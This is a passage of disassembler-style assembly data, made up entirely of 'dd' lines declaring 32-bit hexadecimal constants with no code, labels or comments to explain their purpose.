		dd 0E8BBC411h, 0CEF18CD8h, 0C0B25926h, 5566B6D3h, 0C2167A43h
		dd 0A0D138CBh, 0D047B211h, 6CF49A98h, 6AF8F02Ah, 0AD63CE83h
		dd 84238AA8h, 104A8D70h, 4848C0C2h, 7D7E42EAh, 0EA90164Eh
		dd 9D549861h, 31456515h, 92355241h, 41345C08h, 6040386Dh
		dd 0F282306Eh, 61D0E0E9h, 2FC1AFh, 43F68708h, 47F5C889h
		dd 1F1AC760h, 4AF50940h, 416B4906h, 2704E8DBh, 0F7BFC599h
		dd 0C6970B00h, 8552C93Ch, 82B5BE6Ch, 31B7BC04h,	0FBD3C34h
		dd 6D581BFFh, 106604E6h, 5A3BFE65h, 8523E184h, 0B026B8A2h
		dd 0B56FCC9Bh, 0BE47A886h, 8810C2C2h, 0AB354F42h, 0B5D871E4h
		dd 0BA322794h, 31F91FF5h, 96498BF5h, 0FDD313B9h, 9738B724h
		dd 0A2869D3Ch, 7A42219Eh, 27A6180Fh, 42286144h,	0E35F98BBh
		dd 21F915Dh, 6B455E5Fh,	5A9D2480h, 0FBA70968h, 2F99C4C3h
		dd 415D89D9h, 1F7048B6h, 4F73AA87h, 3F4D6D2Bh, 9E27272Ah
		dd 0BA7AD934h, 2540CE50h, 208EC87Bh, 74B0E5A3h,	12F6241h
		dd 7F1E842Ah, 45804EBAh, 2119158Ah, 8F8DD28Ch, 0DAA49023h
		dd 0C21620ABh, 24B6F2A4h, 0D35035CBh, 0C67A445Ah, 3B7254E3h
		dd 195ECD2Fh, 0CCC477Ah, 75443889h, 28D6079Fh, 7A1A0CF6h
		dd 0CCA7A180h, 7559CE69h, 8C5E1A4Ah, 0CB385E98h, 0D02B4354h
		dd 0AA65CCCDh, 7B281920h, 0C427FF75h, 0DC9DC024h, 1B86D5E2h
		dd 0C29AE1C2h, 2CB89DC1h, 73C2B4C7h, 1BEF6FA0h,	0DE18A649h
		dd 4D6D6221h, 87C57B7Dh, 0ADAAFD4Ah, 4528E9E1h,	8D940E3Ch
		dd 1BD9817Ch, 5985A33Fh, 0A01ABB1Ch, 66E00DBCh,	0C51CC64Ch
		dd 771AF8F7h, 0CF2E8FB2h, 0FDA0B60Eh, 0AC851573h, 92744FCBh
		dd 3C71A158h, 0FEC8BF66h, 2EDA43D6h, 81365E13h,	1B304473h
		dd 998F3D25h, 0C3CDC8A8h, 5881C8ECh, 0AACE096Fh, 0ADA096B2h
		dd 0AB10470Bh, 619375FAh, 0B8EEB889h, 7789D48Dh, 551F99A5h
		dd 1B5F6203h, 0E4C3D91Bh, 652C3922h, 71FAB710h,	70F380FFh
		dd 0F07474C5h, 493CDFFCh, 0E9F64F5Fh, 4347AF91h, 9366F7C6h
		dd 5C5DFF81h, 0F55D91B3h, 437EADEAh, 4F1E676Eh,	0B33B6E0Fh
		dd 0ACAA2C63h, 0A6A8BAB9h, 0AA7E053Fh, 0A4D63423h, 0C49E7CB7h
		dd 0DC5941FAh, 64DA8025h, 19E4AE8Dh, 4067FF22h,	69FAD910h
		dd 377C2F09h, 0BB0369EEh, 89403336h, 0FA76FC63h, 97F25DDDh
		dd 0D969861Fh, 8DDDE0C0h, 2C16A49Dh, 6CE1420h, 82D78C6Dh
		dd 7C1624D8h, 0D8537247h, 3E131846h, 96BB754h, 0CBF190Dh
		dd 974527BCh, 3EF0A16h,	51502AB8h, 0D04CEE39h, 0B5F7C956h
		dd 3D81B9D1h, 0C20790C1h
		dd 20D65E8h, 0DB988259h, 0B89C87D0h, 0CC811B2Ah, 0D223D284h
		dd 8B3189E2h, 0A54C1A88h, 0B0A272B9h, 0E7C54046h, 0DB47C9E9h
		dd 65E1501h, 0C02408FCh, 8ACDBC87h, 0A8039EB2h,	253988ACh
		dd 0BC1FFF12h, 92FB893Bh, 0D29BF9A3h, 0B0ED52Dh, 0E8EE2336h
		dd 0F0192AA0h, 4567754Bh, 0E20C59B2h, 0FD26F092h, 8F67390Fh
		dd 52FE4C3Ah, 28F90533h, 0B19ED0AEh, 3776CE29h,	4D1F7261h
		dd 0B053D968h, 0AF665764h, 9EC45A1Bh, 9EE6DD9Eh, 0FADD89C4h
		dd 418752FCh, 0C8467C59h, 7D5CE31Ah, 0C304E1FFh, 69198754h
		dd 0E6056E98h, 266537F4h, 0C3902ECBh, 2D3D3DF2h, 2AF50526h
		dd 0EF2625FEh, 0F957A144h, 8432ADh, 0A5E214CAh,	0F3BB81A4h
		dd 465000C1h, 0FD00867Fh, 62D9F035h, 0D8EC9B2Dh, 0FB87E93Ch
		dd 0D074187Ah, 557B2D07h, 0F9CCA102h, 4A72633Eh, 8C2F5860h
		dd 0ACC607FDh, 18019F29h, 0E27CD226h, 29D9DD9Fh, 7AB674B6h
		dd 0A571DE06h, 0A15B56Ch, 600C4A69h, 472A4886h,	3596B980h
		dd 253A4A8Ch, 42A658E6h, 0E2CEEBA5h, 0F0EDC3E9h, 5E43A4B2h
		dd 341D8125h, 0BBDBA617h, 0FBA89106h, 0A142112Dh, 45431E24h
		dd 37D38887h, 0EFDA05EFh, 0F034AC38h, 6C8B816Dh, 0A1229E0Dh
		dd 5708D5C1h, 0F403AB4Bh, 0ED1562FEh, 52E9B2EDh, 8C5CB37Ah
		dd 5A23668Eh, 0D2751AFAh, 0D15FD1A4h, 660C4583h, 6CFCA83Dh
		dd 81445936h, 6DDD0F47h, 5B884479h, 0E1E04A52h,	9DE1AA2Fh
		dd 0BDDC9C6Dh, 6976CFF9h, 53985524h, 95FB1A29h,	5968A1F3h
		dd 8606427Eh, 533846CFh, 8A41F114h, 0A02F3ABBh,	1EFB9B01h
		dd 0E0852F31h, 53096E0Dh, 80FB8A31h, 53E715Ch, 0F8B59BB2h
		dd 9C1E72EFh, 0D7E9A373h, 9D8CD2F5h, 6CBAC11Ch,	903EB63Ah
		dd 3348454h, 9DA64D29h,	2609580Fh, 6FD716B4h, 0A8F39EAEh
		dd 964ED0FBh, 32E282E3h, 14EDE9ECh, 1C63A3D9h, 0E7BDCD44h
		dd 0D3E04DB3h, 1184A477h, 2B56240Bh, 0C6C92056h, 0E5295DBAh
		dd 0D7A6B03Ah, 981786C3h, 72CDA22Ch, 0A9961318h, 0C4B7B309h
		dd 74089FF1h, 7E9219A8h, 837AC6A1h, 1A1A7E29h, 83DA868Eh
		dd 97C2AAA7h, 253646Eh,	26DDD973h, 0E92E1F68h, 5B9AC34Ah
		dd 0A0FEFF7Eh, 0F010DCA2h, 0A0194817h, 8FC9EDC5h, 75F6FE92h
		dd 8E68E7A1h, 0FF3664B1h, 75DBCA61h, 5DD685D4h,	0C9473616h
		dd 4417AEC2h, 89FFE167h, 85A20A6Ah, 0C0554C96h,	93697456h
		dd 9F7D91A9h, 0FF733FE7h, 0D74C013Ah, 96CED455h, 560C55E7h
		dd 0DC21A5CFh, 0A7762301h, 0E4FC42DBh, 8B051C8Ch, 91CCDEFh
		dd 0A79E4CABh, 0D3CAD94Ah, 5BBC7922h, 0EB663B90h, 5DC988CCh
		dd 0B267D9B4h, 181A1949h, 0DF250E34h, 0FA6180E0h, 4FDA8630h
		dd 5A2A8C7Ch, 22EFD730h, 6D634B30h, 7AD86824h, 4F62224Fh
		dd 331EF674h, 0DC71A11Fh, 4889AE91h, 40B02BDFh,	9A423D69h
		dd 6E159ACDh, 0D5F0F457h, 0A2A55752h, 9AC02FFh,	385A7545h
		dd 92EF4A5Eh, 394FDC6Ah, 0CFE75CBBh, 0EF8E0435h, 0F9EA3D51h
		dd 0EF7F8AAEh, 2454FD82h, 14EAABCCh, 0F1BBDC1Ah, 45D25453h
		dd 608751F1h, 0AFE1600h, 0A5024B19h, 50E63847h,	5C2BF78Ah
		dd 1FD98565h, 44BA25FEh, 0E3B50558h, 98B94D91h,	3CE9F19Ch
		dd 0FDBEB683h, 0E610880Fh, 29BE242Bh, 0CB52043Eh, 0D700D8AAh
		dd 0B75EBCE9h, 75D47604h, 9B729BDBh, 0F352438h,	1DAA77FEh
		dd 0B75F9465h, 0F342DD4Eh, 54013BD3h, 286D434Dh, 14839E7Dh
		dd 0CDEB4606h, 0B55D0B81h, 0D9976505h, 0CF93DA53h, 94C2E245h
		dd 7768EE20h, 906030E8h, 0CFF84D40h, 0F83F1BFBh, 2A154F38h
		dd 508989E3h, 9F771690h, 0AC90CF51h, 0B511D324h, 791A153Eh
		dd 522EC0AEh, 65BC77Fh,	7023B200h, 0DB9BB328h, 0C742B5AFh
		dd 0A105319Ch, 0F1C93367h, 0AF7C4003h, 747FB42Dh, 19DA5EC5h
		dd 1AE22467h, 0C647F518h, 0B82F4B99h, 0FA078414h, 0CBFF25E5h
		dd 0C07F4217h, 0B6FE99E4h, 0A2EADBF8h, 0EB2B93F4h, 880AD7Fh
		dd 555738ABh, 972660C6h, 0A055BCE9h, 2E9A2004h,	0B1D989DCh
		dd 0EB4AEE3Eh, 0CE306DCDh, 6628A122h, 0CB0873A8h, 2B5AF3C8h
		dd 0CD8C47B5h, 0F1DA1DACh, 0FDF2CA2Fh, 9BF0C7C9h, 2CC4AF61h
		dd 0A1F9F631h, 76764151h, 619BEB90h, 0C877A0A6h, 57F3D29Bh
		dd 0B79EB03h, 50AB5B15h, 0C9C11926h, 70854964h,	58DF7166h
		dd 7DB8E6FCh, 599A6155h, 0B2A20B96h, 14F1BD25h,	6EBE7068h
		dd 2388F7CEh, 0C4F7396Ah, 7D1D2464h, 3B1C3FA9h,	203D3710h
		dd 0F3CAB2EDh, 3AA722AFh, 6E642C90h, 4124D398h,	70CA436Dh
		dd 159D5DDh, 43736F23h,	0BA411EE8h, 975458h, 27423A06h
		dd 24FD346Bh, 0C716F405h, 0D37BCB40h, 0C8FDD74Dh, 7794CDC5h
		dd 0A1499A14h, 0CFF343D1h, 41E378DAh, 0B4203154h, 4C84FA6Bh
		dd 53EE48F0h, 2DA15CDAh, 1FB6FAE0h, 0D1F0C9A5h,	10928EFAh
		dd 6643CF04h, 7B19AC6Ch, 44B50D6h, 0D7C8693h, 26E95EAh
		dd 3DAC9EA3h, 91C16D08h, 0C360CE57h, 0E78E304Eh, 3641AAE8h
		dd 4C8E401Bh, 97477672h, 4C056ECCh, 0ACC03583h,	3CDA1425h
		dd 0DC2ECA09h, 20037FB7h, 79FA33D1h, 41058EADh,	2A0617AAh
		dd 19EA8A85h, 6C9A14FAh, 0E02A7AE0h, 0DA24186Eh, 42B77959h
		dd 0B7B01F20h, 8DED3B6Dh, 0ED4C74B0h, 587F246Eh, 62522524h
		dd 770EE455h, 0FA25E1B8h, 86549662h, 0BF99C89Ah, 0EDDFBD92h
		dd 1DFB0480h, 6122F24Dh, 37EDF6B9h, 0FFF3C2BBh,	3AD7F39h
		dd 4914354Eh, 0E222B059h, 0B867E202h, 32CC0E34h, 289910B3h
		dd 0B4EC60DFh, 70FAB9FAh, 2816A378h, 0BD7842Eh,	80031B6h
		dd 7F4BD8F9h, 94457921h, 976D29DBh, 7BA54F3Eh, 6FC25734h
		dd 0FB6089D5h, 0CCAD290Dh, 0AE0BD6CFh, 0B92E35DAh, 7525354h
		dd 3F28E9D4h, 49C02174h, 486E9F57h, 27BB0CF2h, 0F7E654BCh
		dd 71B4DDCEh, 0AA92AD06h, 0CBDC15EDh, 8D23529Ch, 2E8BC481h
		dd 0E3A99E59h, 249A55FDh, 0F5DE6774h, 5E4E8406h, 57A7C3D2h
		dd 0C4D74019h, 7BD3F5A5h, 0B2AD50E8h, 122A154Fh, 66CC1589h
		dd 481EB4BDh, 5A37BEDFh, 0B647A92h, 4959F17Ah, 99EE07Ch
		dd 0DCABC95Fh, 5573ACECh, 2CCB2CE1h, 2F21F136h,	1BEAD65Eh
		dd 0A5CAD450h, 7ACAB9C9h, 0EE477A8h, 94941AA0h,	0EE57436Fh
		dd 0B464688Eh, 4E5C1937h, 0D2F33F0Eh, 9A406921h, 2A5B353Dh
		dd 4478E1C2h, 97379240h, 0CD1A7433h, 0BC9832E8h, 0A5907DA2h
		dd 74817D6Bh, 37BFAAFAh, 244E200Ch, 0E547B793h,	96870FA3h
		dd 0F05CEB9Dh, 0BB4377B4h, 41F5C5E4h, 0D285DE80h, 324682AFh
		dd 0A226E2A1h, 0D62F8746h, 760849ABh, 0E244D853h, 0AFB24136h
		dd 2FEC0B5Ah, 0C1A42005h, 9CAAD529h, 36756303h,	84C6D609h
		dd 0ED0DDCF9h, 0D7D5C882h, 0EA950F33h, 1FC596ABh, 0FAC5DF05h
		dd 335662B0h, 2C9DA387h, 70552578h, 47D63D8Ah, 0D398A648h
		dd 0F2756823h, 0E4EE8B25h, 727CD479h, 4F560DEh,	0E81CFD09h
		dd 955AA687h, 6991F449h, 38F086A8h, 4E6B27B7h, 0FE34E48Ah
		dd 0F97D3750h, 72AF1252h, 0EE0B33E6h, 52F03CC0h, 53F82F5Dh
		dd 6AE65E80h, 1CEBF577h, 8408EBFDh, 7189AD69h, 5AC59207h
		dd 2A2D4F7Fh, 3CD446DDh, 62E1064Bh, 9DC2754Dh, 77294A40h
		dd 0A0EC148h, 367E41A2h, 42F55A67h, 0F5B46A49h,	79D9713Fh
		dd 432AD640h, 1CEFCD29h, 5223AFEDh, 20E7F25Fh, 5C6314C1h
		dd 4B255B79h, 0E5AF7FA2h, 55DD73C2h, 0F5CBD69Bh, 1E0A40CFh
		dd 9479C6C2h, 0DC0BDC39h, 0DB3F5785h, 222A822Ah, 95D7188Eh
		dd 3D9FEAD7h, 1FA97DEDh
		dd 0A8300038h, 0E8F4D027h, 6DEAFE0Eh, 4B4286DAh, 9DDCF3DDh
		dd 6099BEEFh, 0BDC76176h, 0D6DF1D32h, 0ED8400F9h, 46857831h
		dd 0E52B53BBh, 0D1EAC4FFh, 0D67C38BDh, 4357AB5Ah, 0D7ACA169h
		dd 0C49E725Eh, 0A75E13BFh, 8CD26B6Dh, 80138E31h, 80A634D5h
		dd 840B7AE8h, 862D866Eh, 3FC57A0Ch, 0D1EC54EDh,	79C6C213h
		dd 185BE456h, 2226B0E8h, 0CFDA0CCh, 0F36656D9h,	21594D71h
		dd 58EDE05Ah, 0E5A039BCh, 0CD6BFAABh, 9A98B968h, 582E06Bh
		dd 4E8E9767h, 0B8B6BB0Ch, 0D29977E1h, 0A76B68A6h, 935721A2h
		dd 48454548h, 37A93F60h, 0D2A96F73h, 0E8739035h, 34A5AD4Fh
		dd 0F26EAA13h, 81174D51h, 0A970DBAFh, 4A9D7036h, 80CB22B7h
		dd 7951A0A5h, 0B0C99BDEh, 0DD486FCFh, 1481275Ch, 78C1ADEFh
		dd 0FA3A4EC1h, 0B852D60Fh, 8DB7EFF5h, 7EEEF6D2h, 5BD37A32h
		dd 0F2FC4841h, 4C088C41h, 0BBA75745h, 0BA38CD14h, 3915CD9Dh
		dd 65ECD61Fh, 7D2954ABh, 68E7E79Ch, 3D27A7D8h, 7F63195Fh
		dd 575D6D64h, 67701A76h, 649D961Bh, 2BC39EF2h, 0E704B4B1h
		dd 0D8F510CAh, 0A0AACCD5h, 8E729E64h, 0F770E999h, 2693FCF3h
		dd 11FFF9F5h, 0A0CE59Dh, 0DF1B50C4h, 6573CC35h,	54ECAB2Ah
		dd 2B1A3128h, 0A20CF24Bh, 9E1FADEh, 89468F6Fh, 0B49E30A3h
		dd 7ADDC36Ch, 0ECDA6C24h, 0B36EC7A8h, 20E8F185h, 0D67CA18Ah
		dd 0B6497CA9h, 0A61E8E37h, 0A54CADCDh, 0EF093D0Bh, 0F34BABDh
		dd 6FF1B0D7h, 8C87050Eh, 923E2B9h, 0C6D3C1C1h, 5588A81Eh
		dd 22670917h, 0DC95EAD9h, 25D05316h, 15F092DDh,	15D3470Dh
		dd 0A7521A4h, 11B2EFEh,	265F219Fh, 0C0B7658Fh, 0D42E7B57h
		dd 9B7C84B0h, 577C9F24h, 79C2C3F7h, 88ABE269h, 48C2C0C4h
		dd 273E01A3h, 0F0876EB4h, 4BE0EEECh, 0B27BCC9Eh, 1BB55BAAh
		dd 68EFAF74h, 0A0526B86h, 0F464E5CCh, 0BBF0116h, 7E9045D2h
		dd 3D522941h, 99723AB4h, 0ADABA861h, 0B11050A0h, 71E509DEh
		dd 39EF909h, 295CD55Eh,	27F02087h, 1B07F81Bh, 40352B36h
		dd 5A7DB2B4h, 0CFC40B76h, 2F765EBAh, 7383F1DDh,	0D1713B39h
		dd 6A223562h, 64D51AA0h, 4BB613B3h, 4F77C35Ah, 4911515Fh
		dd 6ECFF265h, 754A2936h, 58521712h, 7A404A96h, 5C7E421Ah
		dd 869E4D2Fh, 704D8DB4h, 94D98993h, 47A9C0FAh, 0BAD204D9h
		dd 0F6E9AB0Bh, 63AB8841h, 0C320AB6h, 769E6063h,	9CEF3982h
		dd 2642ECE1h, 16C4D548h, 0E8578B07h, 9DE8B4E2h,	1F1B80FFh
		dd 975301E4h, 0DEAF3895h, 19F6E1C0h, 4206A55Ah,	713FE062h
		dd 0A088E565h, 8C52341Ch, 35FD56CEh, 42BE1A4Ch,	0AAD1DBB5h
		dd 971A22DAh, 0F85AB327h, 9B52C889h, 0B6E71C7Fh, 0B2644432h
		dd 15FE0E83h, 210EF2E8h, 0FC872D08h, 631A5C44h,	0D59C5412h
		dd 0F1223633h, 0E05B6A9Ch, 3579FD2h, 0BC49ACBCh, 8FC07C42h
		dd 0FBF1207Fh, 0B80F9EFEh, 0C1A9CD4Dh, 0E81EB69h, 93F449EAh
		dd 6591787h, 0F14350E7h, 0B2AF1985h, 0C7D370BAh, 0EF2071Ch
		dd 4A4164EEh, 2D38E839h, 91FF0146h, 5C65F3CDh, 0EEB85B03h
		dd 25A04EC7h, 0C9E19AACh, 8CF6F220h, 17B5ACCh, 0F6A319E2h
		dd 4275582Eh, 1BFDF418h, 741B61E0h, 0EC641169h,	0C7BABA83h
		dd 0A2F83D17h, 24D21A50h, 7AD0B36h, 52C1730Dh, 0C7F11CFFh
		dd 0E87F9884h, 714A0891h, 630E53AFh, 35502866h,	87C48949h
		dd 5961D937h, 0DB935586h, 59AB17F6h, 0A6D582D1h, 0BD02A562h
		dd 6006C40Bh, 0EF03FEAh, 5B982CCh, 91BF22FAh, 0DD7C181Ch
		dd 61F3472h, 90100569h,	164DB2A8h, 9426C17h, 1D5ECAEFh
		dd 0C1039FE5h, 96A02DEEh, 0D07D637Bh, 532183FDh, 1C843D6Ch
		dd 780E78BCh, 7F47B362h, 549B26F4h, 0AC3D69BFh,	51A544AEh
		dd 788D583Ch, 9B9F39Fh,	0C6635F7Dh, 0F1C1F470h,	0D4B93094h
		dd 419F0F02h, 0C92426E8h, 36527DEFh, 7BE7DC8Ch,	918BF3E8h
		dd 45CC99D3h, 66E9D251h, 0C20D88CBh, 139C8B0h, 6F2860F5h
		dd 7FCB4EBBh, 0F1D02DF5h, 0D8B5828Bh, 0B1BE7327h, 8B332156h
		dd 0C22580D1h, 0C1D57BF1h, 70463B4Ch, 1E5BC2D2h, 152924E2h
		dd 84D8905Eh, 0E7A87F5Ch, 74730655h, 0D59FBBEDh, 135691AAh
		dd 821AD58Fh, 264D3E25h, 5C0BE79Eh, 0AC3A41DFh,	7634888Bh
		dd 0E42BA994h, 33DC445Ah, 0EFECCEBBh, 77F9F180h, 0F641E369h
		dd 0FC4F2F6Dh, 35C089B6h, 2406188Eh, 42AFA98Ch,	73A1B527h
		dd 151A2579h, 202AD146h, 18DAF541h, 41B54DB4h, 4549BBFh
		dd 0D600DC45h, 3517B6B9h, 0C0894668h, 22AB817Bh, 0BE90CF80h
		dd 750AC892h, 47ADD40Ch, 1024DD8Bh, 67CDD2C0h, 0B7B03D3Eh
		dd 107C3A1Ch, 5C2D8A1h,	0C7AA406Ch, 6046F290h, 0AA340286h
		dd 97E58DE3h, 7813CE5h,	3F850778h, 6AED3E95h, 332B2291h
		dd 0A5A31C1h, 0A80C2800h, 0C9FFAA18h, 9D8920EEh, 0F7AC999Fh
		dd 0D96A3BA6h, 7884F37Fh, 774107D2h, 5A831B60h,	0F3B98898h
		dd 0BFEE34B3h, 0E11A3F61h, 984B01B8h, 22EF58E9h, 1EC7AE1Fh
		dd 107B7FDDh, 75BC8AC5h, 1CA59EBEh, 85DB5D08h, 583EF4B1h
		dd 4822959Ah, 0FEDE7C76h, 0B7FE296Dh, 89492A8Bh, 0EE3AFC47h
		dd 0BDF20CAh, 0C4C0C115h, 0BF870337h, 0AFBCA0Ch, 355592F3h
		dd 4D515976h, 0A2B49A98h, 4037ABA4h, 32A6EEFFh,	2113C122h
		dd 0DEA3D186h, 2AF5EB05h, 5E3B815Ah, 414791A4h,	30DABA96h
		dd 2F3918F6h, 0A1AABC51h, 9CEC8CEBh, 64741093h,	513D9CFFh
		dd 75F7C3D8h, 0CEB5B50Ch, 6EAD8073h, 494417BEh,	0AF8B9CACh
		dd 8872285Ch, 9518385Fh, 0EA6F0929h, 15949EB5h,	838216F0h
		dd 0D0F42F70h, 7CAC3D6Fh, 6EDF18A3h, 59009D31h,	3AABF459h
		dd 40ED3720h, 86A88C54h, 1310E1EEh, 383EC088h, 0BB28AEFAh
		dd 49D20AF3h, 0A411D13h, 803ABD9Ah, 11432839h, 0B0FF4DBDh
		dd 65A881E8h, 0C975A793h, 0A443DF97h, 3C7AB9F7h, 0BBD9E502h
		dd 0B825667Eh, 8AF11C00h, 7037E61Bh, 3E487D60h,	1628D476h
		dd 0A43DD32h, 0C686C549h, 0B625654Ch, 0B7C45271h, 2339A651h
		dd 84AAF74Eh, 1A201DD2h, 8FB1F55Eh, 0BED5A8EAh,	455075C4h
		dd 7D221E0Fh, 689F8AE4h, 68FD536Eh, 9A4F3D5h, 174524C4h
		dd 0EECD2411h, 0F66215B9h, 768E03EAh, 0CAEFBE43h, 0C0714823h
		dd 26C7E85Eh, 3F3B674Dh, 6ECFD6F9h, 4EF636B6h, 90699B86h
		dd 1B71DCA3h, 14635A30h, 7D9E7FB1h, 39749FE6h, 0CEAABD2Ah
		dd 0CE426E53h, 1E70E462h, 0DE61E01Fh, 6D8E1D1Dh, 0D08A48D1h
		dd 0B109C8F3h, 0C4C53815h, 7CEE19E8h, 38EE2F6Fh, 0FB2FCC25h
		dd 0DAEB5172h, 34CFDDF4h, 632EEA10h, 0A9FA74E8h, 86E74278h
		dd 3B65B345h, 14B5712Bh, 4A40265Dh, 7D488D46h, 0A7616508h
		dd 7FC9FA5Dh, 561CA5BBh, 5ABB1E17h, 9E5F78EBh, 847C0E4Ch
		dd 0C7071E5h, 0E9734C21h, 0D2EC352Ah, 0C411A7DAh, 357FA0A5h
		dd 0AF07282Ah, 0BA90DBC0h, 31D2A6D6h, 0ABBCC0CBh, 0ECA39BE2h
		dd 54A7D47Ch, 0C59560Ch, 7B7A7C7Eh, 397F17E7h, 5B3D00D4h
		dd 0E8BC9BA8h, 6853AE67h, 9C6ADE81h, 0AE5B1BD4h, 14DFCCBCh
		dd 8FDB8E3Fh, 0C50B8C4Bh, 48527CF3h, 0B89EEC1Dh, 0CEB56C3Ah
		dd 21272E57h, 0C50EA608h, 8623DB9Ch, 14FBC34h, 46CB9916h
		dd 9F7B733Dh, 0EB231B74h, 0B34594F5h, 1C758142h, 0E956B98Eh
		dd 75F79CE9h, 3814E729h, 54EB4E6Eh, 0C1B01008h,	0C005E298h
		dd 7F9B8435h, 0F738DDB2h, 74CC1555h, 90A4392Dh,	3806FE67h
		dd 0C48BDC63h, 0FE21ED7Eh, 0D97C3782h, 84B71ABEh, 0BF381E74h
		dd 165BBE16h, 755223CCh
		dd 42091FAFh, 0E885864Ah, 0EFA97BAAh, 53C229EBh, 0C808FBB6h
		dd 0C7652AC7h, 0AE58B22Bh, 11A5095h, 0E3B337F8h, 0EA5260EFh
		dd 6ABED2D7h, 7BF1B983h, 7BF7DEFAh, 94BE8FCAh, 0B2825A28h
		dd 0ECC9DCB7h, 0BA4DBEE3h, 0E4EC27ACh, 3BCD1BA6h, 1B0D6590h
		dd 74ECA0F7h, 94391E16h, 54CDFFAFh, 0EB8DE6FDh,	43D072ECh
		dd 758E154Eh, 466246BFh, 50ABEC1h, 4D46E577h, 2282251Ah
		dd 3787C14Dh, 0A5B4D75Fh, 656AC85Ch, 2C9CB5F2h,	0E493EF7h
		dd 9C7B4CFh, 0D6BDE45Bh, 0FDC68F5Ch, 0D9F248C0h, 4C7F6EA5h
		dd 4632A3FBh, 171C3774h, 61600301h, 0B1568FD5h,	5B648646h
		dd 451FCFF0h, 7F8BECDAh, 37FAD057h, 8DBB1209h, 338C814Eh
		dd 7BB1CAEBh, 0F8F9DEDDh, 0C0FCF7A7h, 7128B037h, 0C8292C79h
		dd 640DE079h, 0CE73D0C3h, 4F1B69B6h, 0AEA70523h, 14D598C8h
		dd 298A6425h, 15A4B9Ch,	447D09AAh, 0AA1376BCh, 0F3672628h
		dd 0ED6011E4h, 0F570D68h, 0CA660FAFh, 7A0E62A8h, 35E5DDDEh
		dd 0DE3EFC0Ch, 50F01614h, 6896338Fh, 157ACB22h,	9581681Bh
		dd 0F237C52Ah, 1305E325h, 853BB6C1h, 98BE9AA1h,	244F1AEh
		dd 36A36E6Eh, 0BFDB0715h, 297EE06Ah, 481C5A14h,	0DFA65C91h
		dd 30059Fh, 0E0993869h,	0C16742CEh, 6F6B852Bh, 5EBE4C2Eh
		dd 0EA0BC553h, 4C39A8F3h, 0D61E875Bh, 959631E7h, 8C5F0F23h
		dd 836A8A5Ah, 7E1E5E5h,	79F66FD1h, 66C2ED6h, 0D66D5CC4h
		dd 0B1A63E5Ch, 0E7049B8Bh, 0F6A18CC7h, 0BB75B9C3h, 0B7DA83D3h
		dd 0A7D10099h, 0A9BE25F8h, 42AE385Dh, 1D0BD430h, 6B5DC175h
		dd 0D17D20CEh, 0E3FCD1A1h, 82FCC88h, 0F7312446h, 8133C698h
		dd 0DC61532Fh, 45AF107Dh, 0DED31759h, 4391CC10h, 0F06FF90Ch
		dd 561C3E08h, 3CC8659Eh, 0D26EAC76h, 7A051793h,	0ECAAFDDFh
		dd 511729D9h, 0CE37A789h, 7717E82Dh, 0B01924Ch,	0B24AC9CEh
		dd 4DDE466Dh, 8D83501Ch, 702CBC2Eh, 2F7EEB26h, 0BB49456Fh
		dd 0EDACE591h, 662E3904h, 0D769D709h, 5C2F3BEBh, 91AEBF4Eh
		dd 0D1918D01h, 0CAE17D8Ch, 64292328h, 6A9B7857h, 465AF543h
		dd 9ACB52D0h, 0F759DBF0h, 0CB090BFAh, 83900789h, 334A06BCh
		dd 0A9CC0CF6h, 5AE4814Ah, 59819F25h, 65F18894h,	0B2FB77B2h
		dd 91551514h, 166F42DCh, 0F32A979Ah, 5C4BA9D3h,	0BD3A6091h
		dd 0EDA6C02h, 0E3D89121h, 8AF2D85Dh, 5C0AB79Bh,	0DDD6AD64h
		dd 772A1EDEh, 0F146B781h, 8EEE474Dh, 0E8B564AFh, 427DC533h
		dd 36F9B663h, 9C4A3289h, 1EB3AE42h, 61FEFB00h, 0AFEB2601h
		dd 0DA7B6BBBh, 0EDF2948Bh, 29AE539h, 1BE3DE66h,	80CB3CF8h
		dd 9D76AC4Bh, 48B71E6Eh, 0F327C6FAh, 62D1A6D1h,	2D641B7Fh
		dd 851DF59h, 6F1A84Dh, 63F70A70h, 0FBBF7EB9h, 8C795537h
		dd 0C11EC4E1h, 0BF985DC7h, 45004A3Fh, 9E7077E8h, 73E80AB2h
		dd 29AEAC65h, 9815F56Dh, 8A61866Eh, 0F78BF725h,	0D8FF0190h
		dd 4E4D2D95h, 0CCCD9A93h, 5FB41A88h, 0E65C20C0h, 0DDEF2946h
		dd 0E0C5B225h, 1BA7E644h, 147E62C5h, 2C1864F9h,	0A8D31209h
		dd 0A9F10AEBh, 63440D5Fh, 0BB8C28D3h, 8D5E6663h, 8D44FFB2h
		dd 325317F6h, 0AAE23929h, 0B9A2235Ch, 0A5643B27h, 0D4E6FB8Fh
		dd 0CB32F3ABh, 7B800937h, 8BC827Ah, 6E7671B5h, 3511AC9Fh
		dd 4CE318F0h, 808FBBE3h, 0FCF58489h, 0B04E67Ah,	147D9B88h
		dd 0A3C49096h, 43DCBD52h, 0D202C23Fh, 0C5A5B689h, 0D9BF28D2h
		dd 9068C59Fh, 67A654FBh, 31EBDEB4h, 92151425h, 89FBD18h
		dd 0D78D6180h, 0A6A51EC0h, 0D33AF95h, 7DB9868Ch, 0F5409AFFh
		dd 0D27AB35Ah, 74F2B577h, 3B19E445h, 9BFF8092h,	0F4517D2Bh
		dd 6A406AC1h, 0D18D4C17h, 84DB5EDAh, 7AD29B1Fh,	475E6C1Dh
		dd 0DDA462B9h, 7BA284C8h, 0E4F77ABBh, 398D5216h, 9275D2Dh
		dd 4BFF4BCBh, 9AB3B066h, 6FEFC445h, 77DA8E76h, 5BDAD9ADh
		dd 0F76396F6h, 0A573F35Fh, 551E6699h, 8DB42D95h, 0B8FEE502h
		dd 0E5D81671h, 0A2A6356Bh, 0E4B7850h, 87F32122h, 4892C41Eh
		dd 0E2BB3FF2h, 259ADB48h, 0AEEE47Ah, 1AD8720h, 5905EEE6h
		dd 5AFA91Dh, 49BC0C10h,	0B4516AD0h, 3D0CC567h, 0B178792Dh
		dd 95C4E627h, 0BD7C7AF1h, 0BA22A33h, 27AC2E50h,	8BC2CF25h
		dd 9B5DD17Ah, 7705EABEh, 317E6FEh, 4AD05833h, 11EA10B2h
		dd 0E2289086h, 225423C6h, 0B9DBDFA7h, 4217076h,	3E9FB269h
		dd 83198474h, 110826AEh, 7537C1EAh, 1B02832Ah, 3AD449E2h
		dd 43F774F4h, 1D0EDF35h, 3C7EA16Ch, 0BAB534FAh,	251D2F70h
		dd 9EEE8349h, 334322DFh, 0B0A18AFh, 40CD9FC5h, 38A2718Ch
		dd 0BBF50B7Dh, 469B6826h, 0F2990A53h, 0ACDD7F36h, 0CC3DC9E3h
